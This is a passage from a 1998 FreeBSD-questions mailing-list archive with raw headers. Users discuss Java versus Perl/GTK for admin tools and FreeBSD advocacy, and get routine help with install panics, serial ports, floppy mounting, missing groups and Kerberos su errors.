hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA25142; Fri, 10 Apr 1998 15:11:48 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.8) with ESMTP id PAA14896; Fri, 10 Apr 1998 15:11:22 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Message-Id: <199804102211.PAA14896@rah.star-gate.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "Matthew N. Dodd" cc: rssh@grad.kiev.ua, Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-reply-to: Your message of "Fri, 10 Apr 1998 17:10:15 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 15:11:22 -0700 From: Amancio Hasty Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The huge support infrastructure currently being build around Java and the cross platform IDEs. Just code up in Java. Tnks, Amancio > On Fri, 10 Apr 1998, Amancio Hasty wrote: > > Just do Java.... > > I believe the context was System Administration front end tools. > > Why use Java for that? The Perl/GTK stuff has got to be lighter > weight/faster. :) > > And its Perl. :) > > > > > The jdk is available at http://www.freebsd.org/java > > > > Use whatever Java IDE tool you like be it in Win95 , SunOS , FreeBSD. > > > > I recently posted how to get Java Workshop 2.0 running on FreeBSD. > > > > There is also a JACE a java version of the C++ library ACE, Adaptive > > Communication Environment. > > > > Has anyone played with IBM's SanFrancisco ? it is large java class package > > oriented for business applications. Track inventories, sales invoice,etc.. > > > > > > > > Amancio > > > On Fri, 10 Apr 1998, Ruslan Shevchenko wrote: > > > > Derek Laufenberg wrote: > > > > > 4) GUI admin tools - adduser, backup, DNS for weenies, ... > > > > > (i've seen some talk, but they need to be incorporated like AIX or > > > > > Slowaris) > > > > it means, that base OS must include: 1. X11 > > > > 2. tk > > > > 3. tkperl. > > > > 4. local WWW server. > > > > > > > > Or most of this tools must be rewriteln. > > > > > > Anyone who is interested in writing GUI apps but is annoyed with TK should > > > check out the Perl bindings for GTK. Its -slick-. > > > > > > http://www.gtk.org/ > > > > > > /* > > > Matthew N. Dodd | A memory retaining a love you had for life > > > winter@jurai.net | As cruel as it seems nothing ever seems to > > > http://www.jurai.net/~winter | go right - FLA M 3.1:53 > > > */ > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > > > > > /* > Matthew N. Dodd | A memory retaining a love you had for life > winter@jurai.net | As cruel as it seems nothing ever seems to > http://www.jurai.net/~winter | go right - FLA M 3.1:53 > */ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 15:43:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA29642 for freebsd-questions-outgoing; Fri, 10 Apr 1998 15:43:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dmi.net (dmi.net [206.63.164.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA29611 for ; Fri, 10 Apr 1998 15:43:47 -0700 (PDT) (envelope-from mtg@dmi.net) Received: from mtg (mtg.nampa.net [208.213.164.116]) by dmi.net (8.8.8/8.8.8) with SMTP id PAA14272 for ; Fri, 10 Apr 1998 15:42:28 -0700 (PDT) Posted-Date: Fri, 10 Apr 1998 15:42:28 -0700 (PDT) Message-ID: <352EA362.3E93@dmi.net> Date: Fri, 10 Apr 1998 15:55:30 -0700 From: Michael Gray X-Mailer: Mozilla 3.04 (Win16; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: PANIC !!! Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello everybody, Thanks again for all of your help in the past. This time, I am building a bit larger machine. Pentium 166 (Intel) WD Caviar 22500 (2.5gb) ATAPI CD ROM This thing absolutely refuses to get past about 3 minutes of the install procedure. Various messages include the following: Signal 11 panic: ffs_alloccg: map corrupted panic: blkfree: freeing free frag panic: Going nowhere without my init!! Thanks, MTG -- ************************************* MTG EnterPrizes URL: http://www.nampa.net/ Email: mtg@dmi.net Smail: PO Box 9261 Nampa, Id 83652-9261 ************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 15:45:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA00102 for freebsd-questions-outgoing; Fri, 10 Apr 1998 15:45:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server.connectone.com.br ([200.247.23.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA29884 for ; Fri, 10 Apr 1998 15:44:46 -0700 (PDT) (envelope-from lenzi@ilhadamagia.com.br) Received: from server.ilhadamagia.com.br (root@[192.168.8.1]) by server.connectone.com.br (8.8.7/8.7.3) with ESMTP id TAA24898 for ; Fri, 10 Apr 1998 19:49:38 GMT Received: from sergio.lenzi (dial4.clix [192.168.9.4]) by server.ilhadamagia.com.br (8.8.5/8.8.5) with ESMTP id TAA01825 for ; Fri, 10 Apr 1998 19:24:08 GMT Received: from localhost (lenzi@localhost) by sergio.lenzi (8.8.7/8.8.7) with SMTP id TAA26985 for ; Fri, 10 Apr 1998 19:30:50 GMT (envelope-from lenzi@ilhadamagia.com.br) X-Authentication-Warning: sergio.lenzi: lenzi owned process doing -bs Date: Fri, 10 Apr 1998 19:30:49 +0000 (GMT) From: "Lenzi, Sergio" X-Sender: lenzi@lenzi To: questions@FreeBSD.ORG Subject: Network limiter (again).. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello all this week I have seen a question about network limiter (bandwidth) but I have lost the email info It had subject: network throtle Please send me where to find some information about limiting the network bandwidth on a ethernet port Thanks for any help, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:01:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA04147 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:01:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail-ftp.nordicdms.com ([207.21.168.100]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA04135 for ; Fri, 10 Apr 1998 16:01:40 -0700 (PDT) (envelope-from walton@nordicdms.com) Received: from mail-ftp (mail.nordicdms.com [207.21.168.101]) by mail-ftp.nordicdms.com (Post.Office MTA v3.1 release PO205e ID# 0-0U10L2S100) with SMTP id AAA147; Fri, 10 Apr 1998 16:00:16 -0700 From: walton@nordicdms.com (Dave Walton) Organization: Nordic Entertainment Worldwide To: , jkh@time.cdrom.com Date: Fri, 10 Apr 1998 16:00:15 -800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet Reply-to: walton@nordicdms.com In-reply-to: <007501bd64a4$85095f40$1d43a8c0@shanes.personalogic.com> Message-ID: <19980410230016112.AAA147@mail.nordicdms.com> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10 Apr 98 at 10:17, David Shanes wrote: > 2. Marc Andreesen may not have answered my letter, but Tim O'Reilly > did. OK, so maybe we will never get Gates, Andreesen, McNealy, etc.. to push > FreeBSD, but what about O'Reilly, David Filo (Yahoo!), etc? Here's an interesting question: Has anyone talked to Yahoo about putting a "Powered By" button on their site? That'd do a LOT for visibility. Dave ---------------------------------------------------------------------- Dave Walton Webmaster, Postmaster Nordic Entertainment Worldwide walton@nordicdms.com http://www.nordicdms.com ---------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:09:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA05608 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:09:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA05594 for ; Fri, 10 Apr 1998 16:09:19 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason05.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA20406; Fri, 10 Apr 1998 16:09:15 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id QAA04410; Fri, 10 Apr 1998 16:09:14 -0700 (PDT) Date: Fri, 10 Apr 1998 15:08:06 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Norman Sellers cc: freebsd-questions@FreeBSD.ORG Subject: Re: FeeBSD 2.2.6 Install In-Reply-To: <000101bd64c6$25a95b00$a7ea5cc3@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Norman Sellers wrote: > However, when I try to install using PPP dialup acces to my ISP I only have > access to COM1 (0x3f8 IRQ 4). I don't know modems very well so take this with a tablespoon of salt. If you only have access to com1 then put your modem there. The last (and only) modem I ever laid eyes on had dip switches for setting com ports. > Unfortunately I have an internal modem which uses COM2 (0x2f8 IRQ 3) and > COM2 is not available as an option to use for PPP. > I have noticed that when the system boots and probes my hardware that I get > the message si02 not found. Of this much I am certain. sio0 is COM1 sio1 is COM2 sio2 is COM3 sio3 is COM4 Your system may not have more than two com ports. Also, the web site has help for setting up PPP. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:12:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA06439 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:12:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail-ftp.nordicdms.com ([207.21.168.100]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA06406 for ; Fri, 10 Apr 1998 16:12:16 -0700 (PDT) (envelope-from walton@nordicdms.com) Received: from mail-ftp (mail.nordicdms.com [207.21.168.101]) by mail-ftp.nordicdms.com (Post.Office MTA v3.1 release PO205e ID# 0-0U10L2S100) with SMTP id AAA147; Fri, 10 Apr 1998 16:10:52 -0700 From: walton@nordicdms.com (Dave Walton) Organization: Nordic Entertainment Worldwide To: Giao Nguyen , freebsd-questions@FreeBSD.ORG Date: Fri, 10 Apr 1998 16:10:51 -800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet Reply-to: walton@nordicdms.com In-reply-to: <19980410130143.40104@calweb.com> References: ; from Derek Laufenberg on Fri, Apr 10, 1998 at 02:45:58PM -0500 Message-ID: <19980410231052046.AAA147@mail.nordicdms.com> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10 Apr 98 at 13:01, Giao Nguyen wrote: > > - GUI installed at setup > > (most corporate admins I've worked with can't handle > > XF86config files.) > > That's what Xig is for. Select, select, select, run. What's Xig? Dave ---------------------------------------------------------------------- Dave Walton Webmaster, Postmaster Nordic Entertainment Worldwide walton@nordicdms.com http://www.nordicdms.com ---------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:14:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA07360 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:14:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA07289 for ; Fri, 10 Apr 1998 16:13:58 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id IAA19685; Sat, 11 Apr 1998 08:43:48 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id IAA08585; Sat, 11 Apr 1998 08:43:47 +0930 (CST) (envelope-from grog) Message-ID: <19980411084347.20193@freebie.lemis.com> Date: Sat, 11 Apr 1998 08:43:47 +0930 From: Greg Lehey To: Michael Gray , freebsd-questions@FreeBSD.ORG Subject: Re: PANIC !!! References: <352EA362.3E93@dmi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352EA362.3E93@dmi.net>; from Michael Gray on Fri, Apr 10, 1998 at 03:55:30PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 April 1998 at 15:55:30 -0700, Michael Gray wrote: > Hello everybody, > Thanks again for all of your help in the past. This time, I am building > a bit larger machine. > > Pentium 166 (Intel) > WD Caviar 22500 (2.5gb) > ATAPI CD ROM > > This thing absolutely refuses to get past about 3 minutes of the > install procedure. Various messages include the following: > > Signal 11 > panic: ffs_alloccg: map corrupted > panic: blkfree: freeing free frag > panic: Going nowhere without my init!! Looks like hardware (memory?) problems. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:18:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA08875 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:18:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA08868 for ; Fri, 10 Apr 1998 16:18:33 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul2.u.washington.edu (root@saul2.u.washington.edu [140.142.56.21]) by jason05.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA27230; Fri, 10 Apr 1998 16:18:31 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id QAA09169; Fri, 10 Apr 1998 16:18:30 -0700 (PDT) Date: Fri, 10 Apr 1998 15:17:22 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Brett Glass cc: questions@FreeBSD.ORG Subject: Re: Files with nonexistent groups In-Reply-To: <199804101744.LAA00726@lariat.lariat.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Brett Glass wrote: > Was just browsing the file system of a server that had been upgraded > from 2.1.1-RELEASE to 2.2.2-RELEASE, in preparation for upgrading > it AGAIN to 2.2.6. As I did so, I noticed that some of the device > nodes in /dev belonged to group #86, which didn't have a name or exist > in /etc/groups. I also noticed that some files created by the > Qualcomm POP daemon belonged to group #6, which also had no > name. > > What are these groups? Do they have standard names? And why do > the files and device nodes belong to them? Files are really owned by UID number and GID number. A file which is created on someone elses system may have a "lingering" UID, GID from that system depending on how the files migrated to your system. If the UID/GID is not in your '/etc/group' or '/etc/password' then the 'ls' command will report the UID/GID _number_ as user or group owner. This may be utter nonsense on your system. To fix it just do a 'chown' on the files. That GID 6 is missing is odd though. GID 6 is the mail group, which is a group that is installed by default. This should be in your '/etc/group' >From my group file mail:*:6: Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:20:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA09265 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:20:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09244 for ; Fri, 10 Apr 1998 16:20:08 -0700 (PDT) (envelope-from dmorrisn@u.washington.edu) Received: from u.washington.edu (D-128-95-253-128.dhcp.washington.edu [128.95.253.128]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with ESMTP id QAA09250 for ; Fri, 10 Apr 1998 16:20:00 -0700 Message-ID: <352EA9D5.B30C445F@u.washington.edu> Date: Fri, 10 Apr 1998 16:23:01 -0700 From: Don Morrison X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <199804100114.UAA23108@darkstar.connect.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Such is true. I am a "newish" FreeBSD user and SuSE Linux reseller. I > see a ready market for free "low cost" software in college bookstores, > particularly those universities that have computer engineering and > comsci departments. Part of evangelism is marketing and market > presence. Having this OS on display at universities will attract a > young audience the very people that are evangelizing Linux. > Frank > Yup, as far as free OS's go, linux is practically all we have at my University's Bookstore. There's a whole shelf of books on the subject, all new and up to date, and _stacks_ of Red Hat linux boxes as well as a few SuSE and Caldera OpenLinux-Lite boxes and some slackware cd's with some of the books, but about all they have on BSD are the printed 4.4BSD manuals (which I don't think they're going to sell anymore there,) and a couple, highly technical books such as "The Design and Implementation of the 4.4BSD Operating System." Nothing specific to FreeBSD is to be found there. :( Funny, cause they carry other cdroms from walnut creek there... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:22:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA09742 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:22:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09696 for ; Fri, 10 Apr 1998 16:21:44 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul6.u.washington.edu (root@saul6.u.washington.edu [140.142.82.1]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA33302; Fri, 10 Apr 1998 16:21:42 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul6.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id QAA21434; Fri, 10 Apr 1998 16:21:40 -0700 (PDT) Date: Fri, 10 Apr 1998 15:20:32 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: "INFdsfsdO@bmp-group.it" cc: faq@FreeBSD.ORG Subject: Re: floppy In-Reply-To: <3.0.3.32.19980410165006.008f9640@pop.ac.fastnet.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, INFdsfsdO@bmp-group.it wrote: > when i mount my floppy disk i get "incorrect suberblok Did you have a question to ask or are you just enlightening us with how your system behaves? :) I will guess at your question. You are trying to mount a dos floppy in BSD. You forgot to use the -t msdos option to tell BSD that you are trying to mount a dos floppy. Are you sure you want to mount a dos floppy? If you want a BSD floppy you will have to make one IAW the instructions on the website. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:37:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA11565 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:37:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA11453 for ; Fri, 10 Apr 1998 16:37:06 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason05.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA25816; Fri, 10 Apr 1998 16:37:04 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id QAA04793; Fri, 10 Apr 1998 16:37:04 -0700 (PDT) Date: Fri, 10 Apr 1998 15:35:56 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Jim Hall cc: freebsd-questions@FreeBSD.ORG Subject: Re: Problem In-Reply-To: <000701bd64b7$189bd320$0ce7f2cd@farside.iland.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Jim Hall wrote: > To Whom It May Concern, > I am trying to get freebsd but i downloaded the install file > that you are supposed to but up with and that won't fit on a disk. I > have 1.44 meg disks, but they all read 1.38megs. I have friends that > have tried also and had the same problem. Please help me!!!. > Thank You Please turn off the html in your mailer. Please share this with the other guy who posted the exact same message. The file you download is a disk image. You must write the image to the floppy using rawrite per the instructions on the website. Be sure to format the floppy in dos before writing the image to the floppy. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:38:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12259 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:38:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rainier.cs.wustl.edu (root@cs.wustl.edu [128.252.165.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA11511 for ; Fri, 10 Apr 1998 16:37:29 -0700 (PDT) (envelope-from alex@cs.wustl.edu) Received: from cs.wustl.edu (alex@merengue.cs.wustl.edu [128.252.165.145]) by rainier.cs.wustl.edu (8.8.5/CTS-JEK1.2) with ESMTP id SAA05559 for ; Fri, 10 Apr 1998 18:37:24 -0500 (CDT) Message-ID: <352EAD31.EBD3689E@cs.wustl.edu> Date: Fri, 10 Apr 1998 18:37:21 -0500 From: Alexander Babu Arulanthu Organization: Washington University X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: aio calls in FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Does any of the FreeBSD versions support asynchronous system calls such as aio_read (), aio_write () etc. Thanks Alex -- Phone : 1-314-935-4215 (Work) -3853 (Home) Internet: http://www.cs.wustl.edu/~alex --Whenever you fall, pick something up.-Oswald Avery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:45:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA13430 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:45:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA13411 for ; Fri, 10 Apr 1998 16:45:20 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul3.u.washington.edu (root@saul3.u.washington.edu [140.142.83.1]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA35006; Fri, 10 Apr 1998 16:45:19 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id QAA08767; Fri, 10 Apr 1998 16:45:17 -0700 (PDT) Date: Fri, 10 Apr 1998 15:44:09 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Ozz!!! cc: freebsd-questions@FreeBSD.ORG Subject: Re: su: kerberos: not in root's ACL ... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Ozz!!! wrote: > Hello! > > I install des ONLY FOR PPP-support, but after reboot > when i type su system say: > > su: kerberos: not in root's ACL ... > > How can i correct this problem ? > I think Kerberos is a good defence, but I don't want use > Kerberos... type 'su -K' See man su for more info. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:45:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA13457 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:45:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA13354 for ; Fri, 10 Apr 1998 16:44:19 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul5.u.washington.edu (root@saul5.u.washington.edu [140.142.83.3]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA23874; Fri, 10 Apr 1998 16:44:18 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id QAA21684; Fri, 10 Apr 1998 16:44:18 -0700 (PDT) Date: Fri, 10 Apr 1998 15:43:10 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Peter Warzycha cc: freebsd-questions@FreeBSD.ORG Subject: Re: shipping In-Reply-To: <19980410184113.19037.rocketmail@send1c.yahoomail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Peter Warzycha wrote: > I am currently stationed in Okinawa, Japan with the third marine > division. I am interseted in buying a copy of the latest ver. of BSD > but i noticed for over seas it is take 6-9 weeks ... i do have an > FPO-AP mailing address... i was told that makes a difference for time > of shipping and the cost to ship it... please get bacck to me with all > the info you can supply to me thanks... Paul was correct about the cost of shipping. To send mail to an FPO is just like sending domestic mail. It may take a while as FPO mail is subject to all of the trappings of the military scenario. If you will be stateside soon (two months), you may as well wait until you get back. It is my understanding that FreeBSD is highly popular in Japan. Perhaps you can find a local copy? Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 16:54:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA14829 for freebsd-questions-outgoing; Fri, 10 Apr 1998 16:54:16 -0700 (PDT) (envelope-from 